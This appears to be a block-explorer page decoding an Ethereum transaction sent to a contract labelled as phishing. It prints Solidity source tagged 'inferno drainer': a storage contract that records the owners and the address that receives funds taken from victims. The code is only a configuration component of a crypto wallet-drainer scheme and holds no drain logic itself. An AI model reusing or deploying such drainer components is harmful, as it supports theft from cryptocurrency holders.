ETH Price: $2,984.51 (+7.37%)

Transaction Decoder

Block:
22878129 at Jul-09-2025 12:43:47 AM +UTC
Transaction Fee:
0.000138956400886464 ETH $0.41
Gas Used:
61,488 Gas / 2.259894628 Gwei

Emitted Events:

82 0x0000ef99487646ea75271ec6e3088d6cfcb80000.0x874202c9472a018d1d4624c52f6f04b6805828c59cd38552cd1d32066797e5f7( 0x874202c9472a018d1d4624c52f6f04b6805828c59cd38552cd1d32066797e5f7, 0x000000000000000000000000e707de5e1620194c683f10ead26ff6425114a931, 000000000000000000000000000000000000000000000000000beaf1db9da931, 00000000000000000000000000000000000000000000000000000000686dbb43 )

Account State Difference:

  Address   Before After State Difference Code
0x0000EF99...cfCB80000 1.140610154379976852 Eth1.143964703616354757 Eth0.003354549236377905
(Titan Builder)
62.200822656105973095 Eth62.200945632105973095 Eth0.000122976
0xE707De5E...25114a931
0.00414733453172448 Eth
Nonce: 2
0.000653828894460111 Eth
Nonce: 4
0.003493505637264369From: 0 To: 22892026855592066050609947431602401211538835161166308139

Execution Trace

0xe707de5e1620194c683f10ead26ff6425114a931.e9ae5c53( )
  • ETH 0.003354549236377905 Fake_Phishing1294548.CALL( )
    • StorageContract.CALL( )
    • Fake_Phishing1294548.STATICCALL( )
      // @mr_inferno_drainer / inferno drainer
      
      pragma solidity ^0.8.6;
      
      contract StorageContract {
          address public nativeCryptoReceiver;
          address[] public owners;
      
          constructor(address defaultNativeCryptoReceiver, address firstOwner) {
              nativeCryptoReceiver = defaultNativeCryptoReceiver;
              owners.push(firstOwner);
          }
      
          modifier onlyOwner() {
              bool isOwner = false;
              for (uint256 i = 0; i < owners.length; i++) {
                  if (msg.sender == owners[i]) {
                      isOwner = true;
                      break;
                  }
              }
              require(isOwner, "Caller is not an owner");
              _;
          }
      
          function addOwner(address newOwner) public onlyOwner {
              owners.push(newOwner);
          }
      
          function getOwners() public view returns (address[] memory) {
              return owners;
          }
      
          function removeOwner(address ownerToRemove) public onlyOwner {
              uint256 index = type(uint256).max;
      
              for (uint256 i = 0; i < owners.length; i++) {
                  if (owners[i] == ownerToRemove) {
                      index = i;
                      break;
                  }
              }
      
              require(index != type(uint256).max, "Owner not found");
              require(owners.length > 1, "Cannot remove the last owner");
      
              owners[index] = owners[owners.length - 1];
              owners.pop();
          }
      
          function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
              public
              onlyOwner
          {
              nativeCryptoReceiver = newNativeCryptoReceiver;
          }
      }